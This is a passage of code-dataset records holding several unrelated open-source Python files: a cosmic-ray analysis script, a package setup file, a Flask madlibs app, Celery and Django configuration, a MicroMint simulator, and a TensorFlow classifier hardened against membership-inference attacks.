\".format(count[1]))\nprint(\"Channel 2 : {} \".format(count[2]))\nprint(\"Channel 3 : {} \".format(count[3]))\n\n# now find concidences betwen two channels (0 and 1)\nn_coinc = 0\nfor event in events:\n found0 = False\n found1 = False\n for pulse in event.pulses:\n # only count rising edges\n if pulse.edge==0 and pulse.chan == 0:\n found0 = True\n if pulse.edge==0 and pulse.chan == 1:\n found1 = True\n if found0 and found1:\n n_coinc += 1\n \nprint(\"N (0,1) coincidences : {}\".format(n_coinc))\n\n# get some pulse time information\ndts = []\nfor event in events:\n found0 = False\n found1 = False\n time0 = 0.\n time1 = 0.\n for pulse in event.pulses:\n # only count rising edges\n if pulse.edge==0 and pulse.chan == 0:\n found0 = True\n time0 = pulse.time\n if pulse.edge==0 and pulse.chan == 1:\n found1 = True\n time1 = pulse.time\n if found0 and found1:\n dts.append(abs(time1-time0))\n\n# print some summary info\nprint(\"Mean delta-t : {}\".format(np.mean(dts)))\nprint(\"Std dev delta-t : {}\".format(np.std(dts)))\n\nbins = np.linspace(0.,2000., 100)\nplt.hist(dts, bins)\nplt.yscale('log')\nplt.ylabel(\"N\")\nplt.xlabel(r'$\\Delta t$')\nplt.show()\n\n", "repo_name": "jimbrooke/CosmicRayExpt", "sub_path": "analysis/analysis.py", "file_name": "analysis.py", "file_ext": "py", "file_size_in_byte": 2319, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 27, "usage_type": "call"}, {"api_name": "event.pulses", "line_number": 36, "usage_type": "attribute"}, {"api_name": "event.pulses", "line_number": 52, "usage_type": "attribute"}, {"api_name": "event.pulses", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}]} {"seq_id": "2203550366", "text": "from setuptools import setup, find_packages\n\nrequirements = [\n 'numpy >=1.14.6',\n 'scipy >=1.1.0',\n]\n\nsetup_requires = [\n 'numpy',\n 'scipy'\n]\n\nsetup(\n name = 'clayton',\n version = '0.0.3', \n description = 'Sampling from copulae',\n long_description=open('README.md', 'r').read(),\n author = 'Alexis Boulin',\n author_email = 'aboulin@unice.fr',\n url = 'https://github.com/Aleboul/clayton',\n download_url = 'https://github.com/Aleboul/clayton/',\n classifiers = [],\n include_package_data=True,\n packages=find_packages()\n)\n", "repo_name": "Aleboul/clayton", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 563, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "setuptools.setup", "line_number": 13, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 24, "usage_type": "call"}]} {"seq_id": "17660048180", "text": "from flask import Flask, render_template, request, redirect, flash\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom utility import append_data,load_data\n\napp = Flask(__name__)\n\napp.config[\"SECRET_KEY\"] = 'whateverpassword'\napp.config[\"SEND_FILE_MAX_AGE_DEFAULT\"] = 0\ntales = load_data()\n\n@app.route('/')\ndef main_page():\n return render_template('main.html')\n\n@app.route('/create_story')\ndef create_story():\n return render_template('create_story.html')\n\n@app.route('/create_story', methods=['POST'])\ndef post_story():\n title = request.form[\"title\"]\n story = request.form[\"story\"]\n append_data(title,story)\n flash(\"Story was created...\",\"success\")\n return redirect('/')\n\n@app.route('/choose_story')\ndef madlibs_select():\n global tales\n tales = load_data()\n titles = tales\n return render_template('choose_story.html', titles=titles)\n\n@app.route('/form')\ndef madlibs_form():\n val = request.args.get('story')\n words = tales[int(val)].prompts\n return render_template('form.html',words=words, val=val)\n\n@app.route('/your_story/')\ndef your_story(val):\n text = tales[val].generate(request.args)\n return render_template('story.html',story=text)", "repo_name": "nikgun1984/Madlibs-with-Flask", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1200, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "utility.load_data", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "utility.append_data", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "utility.load_data", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}]} {"seq_id": "12811777879", "text": "import os\nfrom celery import Celery\nfrom celery.schedules import crontab\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'backend.settings')\n\napp = Celery('backend')\n\n# Using a string here means the worker don't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object('django.conf:settings', namespace='CELERY')\n\n# Load task modules from all registered Django app configs.\napp.autodiscover_tasks()\n\napp.conf.beat_schedule = {\n # 'add-every-10-seconds': {\n # 'task': 'base.tasks.add',\n # 'schedule': 10.0,\n # 'args': (7,8)\n # },\n 'check-expiry': {\n 'task': 'base.tasks.check_expiry',\n 'schedule': crontab(minute=0, hour=0), #every day at 12am\n 'args': ()\n },\n\n 'log-menuItemSold': {\n 'task': 'base.tasks.log_menuItemSold',\n 'schedule': crontab(minute=59, hour=11), #every day at 11:59am\n 'args': ()\n },\n\n 'calibrate-ingredient': {\n 'task': 'base.tasks.calibrate_ingredient',\n 'schedule': crontab(minute=0, hour=0), #every day at 12am\n 'args': ()\n },\n}", "repo_name": "jacoblimjy/HawkHub-Software-Engineering-Project", "sub_path": "backend/backend/celery.py", "file_name": "celery.py", "file_ext": "py", "file_size_in_byte": 1194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ.setdefault", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}, {"api_name": "celery.Celery", "line_number": 7, "usage_type": "call"}, {"api_name": "celery.schedules.crontab", "line_number": 26, "usage_type": "call"}, {"api_name": "celery.schedules.crontab", "line_number": 32, "usage_type": "call"}, {"api_name": "celery.schedules.crontab", "line_number": 38, "usage_type": "call"}]} {"seq_id": "70320639911", "text": "\"\"\"survey URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.urls import include, path\r\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.contrib import admin\r\nfrom django.urls import path, include\r\nfrom django.views.generic import TemplateView\r\nfrom rest_framework.schemas import get_schema_view\r\nfrom rest_framework.schemas.openapi import SchemaGenerator\r\n\r\n\r\nclass TOSSchemaGenerator(SchemaGenerator):\r\n def get_schema(self, *args, **kwargs):\r\n schema = super().get_schema(*args, **kwargs)\r\n schema.update({\r\n \"security\": [\r\n {'ApiKeyAuth': []}\r\n ],\r\n })\r\n schema[\"components\"].update({\r\n \"securitySchemes\": {\r\n \"ApiKeyAuth\": {\r\n \"type\": \"apiKey\",\r\n \"in\": \"header\",\r\n \"name\": \"Authorization\"\r\n }\r\n }\r\n })\r\n return schema\r\n\r\n\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path('api/v1/', include('main.urls')),\r\n path('swagger-ui/', TemplateView.as_view(\r\n template_name='main/swagger-ui.html',\r\n extra_context={'schema_url': 'openapi-schema'}\r\n ), name='swagger-ui'),\r\n path('openapi', get_schema_view(\r\n title=\"Survey\",\r\n description=\"Survey API DOC\",\r\n version=\"1.0.0\",\r\n generator_class=TOSSchemaGenerator,\r\n public=True\r\n ), name='openapi-schema'),\r\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))\r\n]\r\n", "repo_name": "QoobIY/survey", "sub_path": "survey/survey/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2056, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.schemas.openapi.SchemaGenerator", "line_number": 23, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 44, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 44, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 45, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "rest_framework.schemas.get_schema_view", "line_number": 50, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 57, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 57, "usage_type": "call"}]} {"seq_id": "24850055028", "text": "import sys\nimport hashlib\nimport random\nimport statistics\nimport math\nimport time\n\ndef getParameters():\n try:\n u = sys.argv[1]\n k = sys.argv[2]\n c = sys.argv[3]\n widthOfConfidenceInterval = sys.argv[4]\n if (u is False or k is False or c is False or widthOfConfidenceInterval is False):\n print(\"Invalid parameters\")\n print(\"Usage:\", '\"MicroMintSimulator u k c w\"')\n print(\"For example:\", '\"python3 MicroMintSimulator.py 16 2 10000 22\"')\n exit()\n else:\n return {\"u\":u, \"k\":k, \"c\":c, \"woci\": widthOfConfidenceInterval}\n except:\n print(\"Invalid parameters\")\n print(\"Usage:\", '\"MicroMintSimulator u k c w\"')\n print(\"For example:\", '\"python3 MicroMintSimulator.py 16 2 10000 22\"')\n exit()\n\ndef throwBalls(k, u, c):\n bins = {} # Dictonary, compare to Map. \n mintedCoins = 0\n tossedBalls = 0\n\n while(mintedCoins < c):\n tossedBalls += 1\n binIndex = random.getrandbits(u)\n if(binIndex in bins):\n bins[binIndex] += 1 # If it exist we increment. \n else:\n bins[binIndex] = 1 # Otherwise add it.\n \n if(bins[binIndex] == k): # Bingo! we have a match and it is not used before\n mintedCoins +=1\n\n return tossedBalls\n \nif __name__ == \"__main__\":\n parameters = getParameters()\n u = int(parameters[\"u\"])\n k = int(parameters[\"k\"])\n c = int(parameters[\"c\"])\n widthOfConfidenceInterval = int(parameters[\"woci\"])\n data = []\n simulationCounter = 0\n lambdaValue = 3.66\n calculatedWidth = widthOfConfidenceInterval + 1 # This way we will allways enter the while loop.\n print(\"Simulation starts!\")\n start = time.time()\n while(calculatedWidth > widthOfConfidenceInterval):\n simulationCounter += 1\n data.append(throwBalls(k, u, c))\n if(len(data) < 2): # Without alleast 2 values we can't calculate deviation. \n continue\n if(simulationCounter % 20 is 0):\n mean = statistics.mean(data)\n deviation = statistics.stdev(data)\n minValue = mean - (lambdaValue * (deviation/math.sqrt(simulationCounter)))\n maxValue = mean + (lambdaValue * (deviation/math.sqrt(simulationCounter)))\n calculatedWidth = maxValue - minValue\n print(\"Width:\", calculatedWidth)\n end = time.time()\n print(\"----------------------\")\n print(\"The mean value is:\", statistics.mean(data))\n print(\"Time elapsed:\", (end - start) / 60, \"minutes\")\n\n\n", "repo_name": "CarlTern/MicroMintSimulator", "sub_path": "MicroMintSimulator.py", "file_name": "MicroMintSimulator.py", "file_ext": "py", "file_size_in_byte": 2553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "random.getrandbits", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 56, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 63, "usage_type": "call"}, {"api_name": "statistics.stdev", "line_number": 64, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 65, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 66, "usage_type": "call"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 71, "usage_type": "call"}]} {"seq_id": "28833280692", "text": "import tensorflow as tf\nimport tensorflow.keras as tfk\nfrom ..utils.metrics import AOP\n\nclass ProtectedClassifier(tfk.Model):\n def __init__(self, classifier, discriminator):\n super(ProtectedClassifier, self).__init__()\n self.classifier = classifier\n self.softmax = tfk.Sequential(classifier.layers[-1:])\n self.softmax.build(classifier.layers[-2].output_shape)\n self.discriminator = discriminator\n self.beta = tf.Variable(1., trainable=False, name=\"beta\", validate_shape=False) \n\n self.loss_tracker = tfk.metrics.Mean(name='loss')\n self.classification_loss_tracker = tfk.metrics.Mean(name='cce')\n self.discriminator_loss_tracker = tfk.metrics.Mean(name='disc_bce')\n self.accuracy_tracker = tfk.metrics.CategoricalAccuracy(name=\"accuracy\")\n\n self.val_loss_tracker = tfk.metrics.Mean(name='val_loss')\n self.val_classification_loss_tracker = tfk.metrics.Mean(name='val_cce')\n self.val_discriminator_loss_tracker = tfk.metrics.Mean(name='val_disc_bce')\n self.val_accuracy_tracker = tfk.metrics.CategoricalAccuracy(name=\"val_accuracy\")\n self.val_auc_mia_tracker = tfk.metrics.AUC(name=\"val_auc_mia\")\n self.aop_tracker = AOP(name=\"val_aop\")\n \n @property\n def metrics(self):\n return[\n self.loss_tracker,\n self.classification_loss_tracker,\n self.discriminator_loss_tracker,\n self.accuracy_tracker,\n\n self.val_loss_tracker,\n self.val_classification_loss_tracker,\n self.val_discriminator_loss_tracker,\n self.val_accuracy_tracker,\n self.val_auc_mia_tracker,\n self.aop_tracker\n ]\n\n def compile(self, optimizer):\n super(ProtectedClassifier, self).compile()\n self.optimizer = optimizer\n\n @tf.function\n def train_step(self,data):\n \n train, test = data\n images, labels = train\n test_images, test_labels = test\n\n # step to optimize the classifier\n with tf.GradientTape() as tape:\n predictions = self.classifier(images)\n \n cce_extended_loss = tfk.losses.categorical_crossentropy(labels,predictions)\n cce_loss = tf.reduce_mean(cce_extended_loss)\n step_loss = cce_loss\n \n grads = tape.gradient(step_loss, self.classifier.trainable_weights)\n self.optimizer.apply_gradients(zip(grads, self.classifier.trainable_weights))\n del tape\n \n # step to protect the classifier\n with tf.GradientTape() as tape:\n predictions = self.classifier(images)\n \n cce_extended_loss = tfk.losses.categorical_crossentropy(labels,predictions)\n cfce_extended_loss = tfk.losses.categorical_focal_crossentropy(labels,predictions)\n ch_extended_loss = tfk.losses.categorical_hinge(labels,predictions)\n\n mi_data = tf.concat([\n predictions,\n tf.expand_dims(cce_extended_loss,axis=-1),\n tf.expand_dims(cfce_extended_loss,axis=-1),\n tf.expand_dims(ch_extended_loss,axis=-1),\n tf.expand_dims(tf.cast(tf.argmax(labels,axis=1),tf.float32),axis=1)],axis=-1)\n # Inverted label\n mi_data = tf.where(tf.math.is_nan(mi_data), 0., mi_data)\n mi_labels = tf.ones((tf.shape(mi_data)[0],1))\n\n \n \n test_predictions = self.classifier(test_images)\n \n test_cce_extended_loss = tfk.losses.categorical_crossentropy(test_labels,test_predictions)\n test_cfce_extended_loss = tfk.losses.categorical_focal_crossentropy(test_labels,test_predictions)\n test_ch_extended_loss = tfk.losses.categorical_hinge(test_labels,test_predictions)\n \n test_mi_data = tf.concat([\n test_predictions,\n tf.expand_dims(test_cce_extended_loss,axis=-1),\n tf.expand_dims(test_cfce_extended_loss,axis=-1),\n tf.expand_dims(test_ch_extended_loss,axis=-1),\n tf.expand_dims(tf.cast(tf.argmax(test_labels,axis=1),tf.float32),axis=1)],axis=-1)\n # Inverted label\n test_mi_data = tf.where(tf.math.is_nan(test_mi_data), 0., test_mi_data)\n test_mi_labels = tf.zeros((tf.shape(test_mi_data)[0],1))\n\n \n mi_data = tf.concat((mi_data,test_mi_data),axis=0)\n mi_labels = tf.concat((mi_labels,test_mi_labels),axis=0)\n\n \n disc_predictions = self.discriminator(mi_data)\n disc_bce = tf.reduce_mean(tfk.losses.binary_crossentropy(mi_labels,disc_predictions))\n disc_bce = tf.where(tf.math.is_nan(disc_bce), 0., disc_bce)\n step_loss = disc_bce * self.beta\n \n grads = tape.gradient(step_loss, self.softmax.trainable_weights)\n self.optimizer.apply_gradients(zip(grads, self.softmax.trainable_weights))\n\n loss = cce_loss + step_loss\n\n self.loss_tracker.update_state(loss)\n self.classification_loss_tracker.update_state(cce_loss)\n self.discriminator_loss_tracker.update_state(disc_bce)\n self.accuracy_tracker.update_state(labels,predictions)\n \n \n return{\n \"loss\": self.loss_tracker.result(),\n \"cce\": self.classification_loss_tracker.result(),\n \"disc_bce\": self.discriminator_loss_tracker.result(),\n \"accuracy\": self.accuracy_tracker.result(),\n \"beta\": self.beta\n }\n \n \n @tf.function\n def test_step(self,data):\n images, labels = data\n \n val, train = data\n val_images, val_labels = val\n train_images, train_labels = train\n \n \n val_predictions = self.classifier(val_images)\n \n val_cce_extended_loss = tfk.losses.categorical_crossentropy(val_labels,val_predictions)\n val_cfce_extended_loss = tfk.losses.categorical_focal_crossentropy(val_labels,val_predictions)\n val_ch_extended_loss = tfk.losses.categorical_hinge(val_labels,val_predictions)\n val_cce_loss = tf.reduce_mean(val_cce_extended_loss)\n \n val_mi_data = tf.concat([\n val_predictions,\n tf.expand_dims(val_cce_extended_loss,axis=-1),\n tf.expand_dims(val_cfce_extended_loss,axis=-1),\n tf.expand_dims(val_ch_extended_loss,axis=-1),\n tf.expand_dims(tf.cast(tf.argmax(val_labels,axis=1),tf.float32),axis=1)],axis=-1)\n # Correct label\n val_mi_data = tf.where(tf.math.is_nan(val_mi_data), 0., val_mi_data)\n val_mi_labels = tf.ones((tf.shape(val_mi_data)[0],1))\n \n \n train_predictions = self.classifier(train_images)\n\n train_cce_extended_loss = tfk.losses.categorical_crossentropy(train_labels,train_predictions)\n train_cfce_extended_loss = tfk.losses.categorical_focal_crossentropy(train_labels,train_predictions)\n train_ch_extended_loss = tfk.losses.categorical_hinge(train_labels,train_predictions)\n train_mi_data = tf.concat([\n train_predictions,\n tf.expand_dims(train_cce_extended_loss,axis=-1),\n tf.expand_dims(train_cfce_extended_loss,axis=-1),\n tf.expand_dims(train_ch_extended_loss,axis=-1),\n tf.expand_dims(tf.cast(tf.argmax(train_labels,axis=1),tf.float32),axis=1)],axis=-1)\n # Correct label\n train_mi_data = tf.where(tf.math.is_nan(train_mi_data), 0., train_mi_data)\n train_mi_labels = tf.zeros((tf.shape(train_mi_data)[0],1))\n\n\n\n val_mi_data = tf.concat((val_mi_data,train_mi_data),axis=0)\n val_mi_labels = tf.concat((val_mi_labels,train_mi_labels),axis=0)\n\n \n val_disc_predictions = self.discriminator(val_mi_data)\n val_disc_bce = tf.reduce_mean(tfk.losses.binary_crossentropy(val_mi_labels,val_disc_predictions))\n val_disc_bce = tf.where(tf.math.is_nan(val_disc_bce), 0., val_disc_bce)\n\n val_loss = val_cce_loss + val_disc_bce * self.beta\n\n self.val_loss_tracker.update_state(val_loss)\n self.val_classification_loss_tracker.update_state(val_cce_loss)\n self.val_discriminator_loss_tracker.update_state(val_disc_bce)\n self.val_accuracy_tracker.update_state(val_labels,val_predictions) \n self.val_auc_mia_tracker.update_state(val_mi_labels,val_disc_predictions) \n self.aop_tracker.update_state(self.val_accuracy_tracker.result(),self.val_auc_mia_tracker.result(),10)\n \n return{\n \"loss\": self.val_loss_tracker.result(),\n \"cce\": self.val_classification_loss_tracker.result(),\n \"disc_bce\": self.val_discriminator_loss_tracker.result(),\n \"accuracy\": self.val_accuracy_tracker.result(),\n \"auc_mia\": self.val_auc_mia_tracker.result(),\n \"aop\": self.aop_tracker.result()\n }\n \n \n def call(self, data):\n return self.classifier(data)", "repo_name": "EugenioTL/discriminative-adversarial-privacy", "sub_path": "models/discriminative_adversarial_privacy_model.py", "file_name": "discriminative_adversarial_privacy_model.py", "file_ext": "py", "file_size_in_byte": 9004, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tensorflow.keras.Model", "line_number": 5, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 5, "usage_type": "name"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 9, "usage_type": "name"}, {"api_name": "tensorflow.Variable", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics.Mean", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 14, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.Mean", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 15, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.Mean", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 16, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.CategoricalAccuracy", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 17, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 17, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.Mean", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 19, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.Mean", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 20, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.Mean", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 21, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 21, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.CategoricalAccuracy", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 22, "usage_type": "name"}, {"api_name": "tensorflow.keras.metrics.AUC", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 23, "usage_type": "name"}, {"api_name": "utils.metrics.AOP", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.GradientTape", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.categorical_crossentropy", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 57, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 57, "usage_type": "name"}, {"api_name": "tensorflow.reduce_mean", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.GradientTape", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.categorical_crossentropy", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 69, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_focal_crossentropy", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 70, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_hinge", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 71, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tensorflow.where", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.ones", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.categorical_crossentropy", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 87, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 87, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_focal_crossentropy", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 88, "usage_type": "name"}, {"api_name": "tensorflow.keras.losses.categorical_hinge", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 89, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 93, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 94, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 95, "usage_type": "call"}, {"api_name": "tensorflow.expand_dims", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.where", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.binary_crossentropy", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 107, "usage_type": "name"}, {"api_name": "tensorflow.where", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.math.is_nan", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tensorflow.function", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.losses.categorical_crossentropy", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 142, "usage_type": "name"}, {"api_name": 